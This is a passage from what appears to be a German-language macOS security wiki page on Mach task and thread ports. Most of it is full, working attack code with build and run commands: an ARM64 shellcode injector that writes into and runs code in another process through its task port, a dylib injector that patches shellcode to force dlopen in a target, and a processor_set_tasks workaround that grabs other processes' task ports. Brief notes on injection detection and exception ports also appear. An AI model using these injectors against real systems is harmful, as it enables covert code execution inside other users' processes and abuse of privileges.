Threads haben ebenfalls zugeordnete Ports, die von der Aufgabe, die task_threads aufruft, und vom Prozessor mit processor_set_threads sichtbar sind. Ein SEND-Recht auf den Thread-Port ermöglicht die Verwendung der Funktionen aus dem thread_act-Subsystem, wie:

  • thread_terminate
  • thread_[get/set]_state
  • act_[get/set]_state
  • thread_[suspend/resume]
  • thread_info
  • ...

Jeder Thread kann diesen Port aufrufen, indem er mach_thread_sef aufruft.

Shellcode-Injektion in den Thread über den Task-Port

Du kannst einen Shellcode von:

Introduction to ARM64v8

objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

Kompilieren Sie das vorherige Programm und fügen Sie die Berechtigungen hinzu, um Code mit demselben Benutzer injizieren zu können (ansonsten müssen Sie sudo verwenden).

sc_injector.m
objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
// Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669
// and on https://newosxbook.com/src.jl?tree=listings&file=inject.c


#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>


#ifdef __arm64__

kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);

kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";


int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}


// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask,                   // Task port
remoteCode64,                 // Virtual Address (Destination)
(vm_address_t) injectedCode,  // Source
0xa9);                       // Length of the source


if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}


// Set the permissions on the allocated code memory
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}

// Set the permissions on the allocated stack memory
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}

// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8;  // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}

return (0);
}

pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue];
}

BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}

NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;

if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}

inject(pid);
}

return 0;
}
bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

tip

Damit dies auf iOS funktioniert, benötigen Sie die Berechtigung dynamic-codesigning, um einen beschreibbaren Speicher ausführbar zu machen.

Dylib-Injektion in den Thread über Task-Port

In macOS können Threads über Mach oder die posix pthread API manipuliert werden. Der Thread, den wir bei der vorherigen Injektion erzeugt haben, wurde mit der Mach-API erzeugt, daher ist er nicht posix-konform.

Es war möglich, einen einfachen Shellcode zu injizieren, um einen Befehl auszuführen, da er nicht mit posix konformen APIs arbeiten musste, sondern nur mit Mach. Komplexere Injektionen würden erfordern, dass der Thread ebenfalls posix-konform ist.

Daher sollte zur Verbesserung des Threads pthread_create_from_mach_thread aufgerufen werden, um einen gültigen pthread zu erstellen. Dann könnte dieser neue pthread dlopen aufrufen, um eine dylib aus dem System zu laden, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.

Sie finden Beispiel-dylibs in (zum Beispiel die, die ein Protokoll generiert und dann können Sie es abhören):

macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

dylib_injector.m
objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>

#include <sys/stat.h>
#include <pthread.h>


#ifdef __arm64__
//#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);

kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128


char injectedCode[] =

// "\x00\x00\x20\xd4" // BRK X0     ; // useful if you need a break :)

// Call pthread_set_self

"\xff\x83\x00\xd1" // SUB SP, SP, #0x20         ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10        ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10         ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP                ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0                ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14              ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0                ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44               ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8                    ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop              ; loop forever

// Call dlopen with the path to the library
"\xC0\x01\x00\x10"  // ADR X0, #56  ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58"  // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2"  // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91"  // ADD   x9, x9, 0  - I left this as a nop
"\x00\x01\x3f\xd6"  // BLR X8     ; do dlopen()

// Call pthread_exit
"\xA8\x00\x00\x58"  // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2"  // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6"  // BLR X8     ; do pthread_exit

"PTHRDCRT"  // <-
"PTHRDEXT"  // <-
"DLOPEN__"  // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;




int inject(pid_t pid, const char *lib) {

task_t remoteTask;
struct stat buf;

// Check if the library exists
int rc = stat (lib, &buf);

if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}


// Patch shellcode

int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{

// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;


uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit  @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}

if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}

if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}

if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}

// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask,                   // Task port
remoteCode64,                 // Virtual Address (Destination)
(vm_address_t) injectedCode,  // Source
0xa9);                       // Length of the source


if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}


// Set the permissions on the allocated code memory
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}

// Set the permissions on the allocated stack memory
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}


// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8;  // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}

return (0);
}



int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, "   _action_: path to a dylib on disk\n");
exit(0);
}

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}

}
bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>

Thread Hijacking via Task port

In dieser Technik wird ein Thread des Prozesses übernommen:

macOS Thread Injection via Task port

Task Port Injection Detection

Beim Aufruf von task_for_pid oder thread_create_* wird ein Zähler in der Struktur task aus dem Kernel erhöht, der im Benutzermodus durch den Aufruf von task_info(task, TASK_EXTMOD_INFO, ...) abgerufen werden kann.

Exception Ports

Wenn eine Ausnahme in einem Thread auftritt, wird diese Ausnahme an den vorgesehenen Ausnahmeport des Threads gesendet. Wenn der Thread sie nicht behandelt, wird sie an die Ausnahmeports des Tasks gesendet. Wenn der Task sie nicht behandelt, wird sie an den Hostport gesendet, der von launchd verwaltet wird (wo sie anerkannt wird). Dies wird als Ausnahme-Triage bezeichnet.

Beachten Sie, dass am Ende, wenn sie nicht ordnungsgemäß behandelt wird, der Bericht normalerweise vom ReportCrash-Daemon behandelt wird. Es ist jedoch möglich, dass ein anderer Thread im selben Task die Ausnahme verwaltet, was Tools zur Absturzberichterstattung wie PLCreashReporter tun.

Other Objects

Clock

Jeder Benutzer kann Informationen über die Uhr abrufen, jedoch muss man, um die Zeit einzustellen oder andere Einstellungen zu ändern, Root-Rechte haben.

Um Informationen zu erhalten, ist es möglich, Funktionen aus dem clock-Subsystem wie clock_get_time, clock_get_attributtes oder clock_alarm aufzurufen.
Um Werte zu ändern, kann das clock_priv-Subsystem mit Funktionen wie clock_set_time und clock_set_attributes verwendet werden.

Processors and Processor Set

Die Prozessor-APIs ermöglichen die Steuerung eines einzelnen logischen Prozessors durch den Aufruf von Funktionen wie processor_start, processor_exit, processor_info, processor_get_assignment...

Darüber hinaus bietet die Processor Set-API eine Möglichkeit, mehrere Prozessoren in einer Gruppe zu gruppieren. Es ist möglich, das Standard-Prozessor-Set durch den Aufruf von processor_set_default abzurufen.
Dies sind einige interessante APIs, um mit dem Prozessor-Set zu interagieren:

  • processor_set_statistics
  • processor_set_tasks: Gibt ein Array von Senderechten an alle Tasks im Prozessor-Set zurück
  • processor_set_threads: Gibt ein Array von Senderechten an alle Threads im Prozessor-Set zurück
  • processor_set_stack_usage
  • processor_set_info

Wie in diesem Beitrag erwähnt, ermöglichte dies in der Vergangenheit, den zuvor genannten Schutz zu umgehen, um Task-Ports in anderen Prozessen zu erhalten, um sie durch den Aufruf von processor_set_tasks zu steuern und einen Hostport für jeden Prozess zu erhalten.
Heutzutage benötigt man Root-Rechte, um diese Funktion zu verwenden, und dies ist geschützt, sodass man diese Ports nur in ungeschützten Prozessen erhalten kann.

Sie können es mit folgendem versuchen:

processor_set_tasks code
`c
// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
//gcc ./port_pid.c -o port_pid

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/sysctl.h>
#include <libproc.h>
#include <mach/mach.h>
#include <errno.h>
#include <string.h>
#include <mach/exception_types.h>
#include <mach/mach_host.h>
#include <mach/host_priv.h>
#include <mach/processor_set.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <mach/task.h>
#include <mach/task_info.h>
#include <mach/mach_traps.h>
#include <mach/mach_error.h>
#include <mach/thread_act.h>
#include <mach/thread_info.h>
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <sys/ptrace.h>

mach_port_t task_for_pid_workaround(int Pid)
{

host_t        myhost = mach_host_self(); // host self is host priv if you're root anyway..
mach_port_t   psDefault;
mach_port_t   psDefault_control;

task_array_t  tasks;
mach_msg_type_number_t numTasks;
int i;

thread_array_t       threads;
thread_info_data_t   tInfo;

kern_return_t kr;

kr = processor_set_default(myhost, &psDefault);

kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
mach_error("host_processor_set_priv",kr); exit(1);}

printf("So far so good\n");

kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }

for (i = 0; i < numTasks; i++)
{
int pid;
pid_for_task(tasks[i], &pid);
printf("TASK %d PID :%d\n", i,pid);
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
printf("Command line: %s\n", pathbuf);
} else {
printf("proc_pidpath failed: %s\n", strerror(errno));
}
if (pid == Pid){
printf("Found\n");
return (tasks[i]);
}
}

return (MACH_PORT_NULL);
} // end workaround



int main(int argc, char *argv[]) {
/*if (argc != 2) {
fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
return 1;
}

pid_t pid = atoi(argv[1]);
if (pid <= 0) {
fprintf(stderr, "Invalid PID. Please enter a numeric value greater than 0.\n");
return 1;
}*/

int pid = 1;

task_for_pid_workaround(pid);
return 0;
}

```